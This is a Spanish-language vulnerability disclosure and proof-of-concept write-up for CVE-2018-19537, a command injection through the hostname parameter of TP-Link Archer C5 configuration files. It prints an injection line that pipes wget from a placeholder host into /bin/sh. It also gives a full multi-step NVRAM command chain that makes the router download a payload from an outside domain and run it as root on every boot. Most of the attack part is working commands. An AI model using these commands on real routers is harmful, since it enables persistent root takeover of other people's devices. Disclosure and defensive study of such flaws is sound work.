
CVE-2018-19537
Existe una vulnerabilidad de ejecución remota de código (RCE) autenticada en todas las versiones de firmware publicadas para el router TP-Link Archer C5. Al cargar un archivo de configuración manipulado maliciosamente, un atacante puede inyectar comandos del sistema operativo que se ejecutan con privilegios de root.
El router Archer C5 permite a los usuarios administrativos guardar los parámetros de configuración actuales en un archivo y restaurar parámetros desde un archivo.
Estos parámetros parecen estar debidamente saneados cuando un usuario intenta establecerlos a través de la interfaz web.
Sin embargo, no se sanean correctamente cuando se establecen desde un archivo de configuración.
En particular, inyectamos comandos del SO a través del parámetro wan_dyn_hostname 1 <name> dentro del archivo de configuración cargado.
Otros parámetros también pueden ser vulnerables.
Se puede descargar un archivo de configuración válido desde el menú "Backup & Restore" en la interfaz web del router. La siguiente solicitud HTTP descargará una copia de seguridad de la configuración actual del router:
GET /userRpm/config.bin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux ia64; rv:60.0) Foxfire/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm
Cookie: Authorization=Basic%20YWRtaW46cGFzc3dvcmQ%3D
Connection: close
Upgrade-Insecure-Requests: 1
La respuesta contiene el archivo "config.bin", que es el archivo de configuración con el que manipularemos.
Los archivos de configuración están ofuscados mediante cifrado DES con una clave fija. Esta clave fija parece reutilizarse en múltiples productos TP-Link. Créditos a Matteo Croce por descubrir esta clave fija. http://teknoraver.net/software/hacks/tplink/
Se adjuntan dos sencillos scripts en Python para cifrar y descifrar archivos de configuración: "binify.py" y "unbinify.py" respectivamente. Un archivo de configuración descifrado tendrá parámetros como estos:
wan_dns_auto 2 0
wan_dyn_mtu 1 1500
wan_dyn_mtu 2 0
wan_dyn_ucst 1 0
wan_dyn_ucst 2 0
wan_dyn_hostname 1 Archer_C5
wan_stc_ip 1 0.0.0.0
wan_stc_ip 2 0.0.0.0
wan_stc_msk 1 0.0.0.0
Podemos manipular este archivo de configuración descifrado añadiendo un comando BusyBox malicioso al parámetro "wan_dyn_hostname", de la siguiente manera:
wan_dyn_hostname 1 `wget -O - http://bad.url/hack | /bin/sh`
Luego ciframos el nuevo archivo de configuración malicioso y lo cargamos a través de la interfaz web. El router se reiniciará automáticamente. Al principio del proceso de arranque, cuando se ejecuta el programa httpd, nuestro comando BusyBox malicioso se ejecuta. El pseudocódigo de la parte relevante de httpd es algo así:
char hostname[64];
char to_run[256];
memcpy(hostname, some_value_somewhere, 63);
snprintf(to_run, 256, "udhcpc -h %s -i eth0", hostname)
system(to_run);
// Continue setting up network interfaces and connectivity
Hay varias limitaciones para este exploit, incluso más allá de la limitación de tener que usar BusyBox. El servidor SSH Dropbear y telnetd no parecen funcionar a través de la LAN inalámbrica, y el nombre de host está limitado por el firmware a 63 caracteres. Superar este límite sobrescribe otras configuraciones y rompe el acceso a Internet. Además, httpd debe regresar de la llamada system() antes de que tenga conectividad de red (ya que la llamada system() que estamos explotando es la que solicita nuestra IP WAN), y el sistema de archivos raíz es de solo lectura. El ejemplo de comando malicioso anterior no funcionaría; httpd no podría obtener la URL con wget porque aún no tiene acceso a Internet, regresaría de la llamada system() y luego continuaría operando normalmente.
Así que en este punto podemos ejecutar un comando BusyBox de 63 caracteres, en un sistema de archivos de solo lectura, sin una forma trivial de hacer que el programa espere hasta que haya terminado de configurar la conectividad de red antes de ejecutar nuestro comando. No podemos simplemente decirle que duerma unos minutos y luego ejecute, porque la llamada system() en la que inyectamos es bloqueante.
Sin embargo, una cosa que podemos hacer es iniciar otra instancia de httpd en este punto de la ejecución. Esta instancia de httpd también ejecutará esta llamada system(), lo que nos deja en un bucle que generará continuamente más instancias de httpd, pero permitirá que los procesos httpd padre continúen ejecutándose y finalmente restauren la conectividad de red. Para evitar quedarnos sin memoria, terminamos este bucle verificando si nuestro exploit se ha descargado.
Trabajando dentro de las limitaciones anteriores, creamos el siguiente script de shell, que obtiene un archivo de Internet con wget y lo envía directamente a /bin/sh.
cd /tmp
if [ ! -f B ]; then
httpd &
sleep 15
wget http://jackdoan.com/B
/bin/sh B
fi
O, en una línea, minimizado:
cd /tmp; if [ ! -f B ]; then (httpd & sleep 15; wget http://jackdoan.com/B; /bin/sh B) fi
Este script tiene 89 caracteres, enormes, por lo que necesitamos cargarlo en fragmentos. ¿Pero cómo? Cargar un comando provoca un reinicio, y un reinicio refresca el estado del router. Nos dimos cuenta de que podíamos crear nuestra propia variable NVRAM y referenciarla en comandos posteriores para construir un comando que eventualmente ejecutáramos.
Usamos la vulnerabilidad para inyectar los siguientes comandos y construir un exploit:
; nvram set "a=cd /tmp; if [ ! -f B ]; then (htt";nvram commit
; nvram set "a=`nvram get a`pd & sleep 15; wget";nvram commit
; nvram set "a=`nvram get a` http://jackdoan.co";nvram commit
; nvram set "a=`nvram get a`m/B; /bin/sh B) fi"; nvram commit
Y finalmente, activar el exploit estableciendo el nombre de host a:
; udhcpc; nvram get a | /bin/sh ;
Este script almacenado en la NVRAM del router se ejecutará en cada arranque, y el router parecerá seguir funcionando con normalidad. El resultado final es que el router se conectará a Internet, descargará un archivo y lo ejecutará como root cada vez que arranque.
Como se ha mostrado, esta vulnerabilidad puede explotarse para hacer que el router se conecte a Internet, obtenga un payload y lo ejecute con privilegios de root. Por lo tanto, existe un alto impacto en la confidencialidad, integridad y disponibilidad del dispositivo.
El proceso de inyectar un comando a través del parámetro wan_dyn_hostname del archivo de configuración es simple. Escapar de las limitaciones de este comando para ejecutar cualquier payload arbitrario sin interrumpir el funcionamiento normal del router es moderadamente complejo.
Este ataque es moderadamente visible, ya que requiere al menos un reinicio del dispositivo. Nuestra PoC requiere 5 reinicios sucesivos, pero persiste hasta que el dispositivo se restablece de fábrica.
Esta vulnerabilidad puede ser explotada por cualquier persona con acceso a la cuenta de administrador web. Por lo tanto, con la configuración predeterminada del router, esto puede explotarse a través de la conectividad LAN/WLAN con las credenciales de administrador predeterminadas de "admin:admin". Esta vulnerabilidad puede explotarse de forma remota a través de Internet si la gestión remota está habilitada. La gestión remota está deshabilitada por defecto.
Esta vulnerabilidad es relativamente simple, lo que nos lleva a creer que probablemente ya ha sido encontrada y explotada antes. La defensa contra este ataque también es increíblemente simple: no usar la contraseña administrativa predeterminada. Una contraseña fuerte para la cuenta administrativa web evitará este ataque. Debido a que es tan fácil de explotar y también tan fácil de mitigar, creemos que la divulgación completa es lo mejor para el interés público.
Para nuestra PoC, inyectamos a través del parámetro "wan_dyn_hostname". Sin embargo, el archivo de configuración contiene 1190 parámetros en total, muchos de los cuales pueden ser inyectables.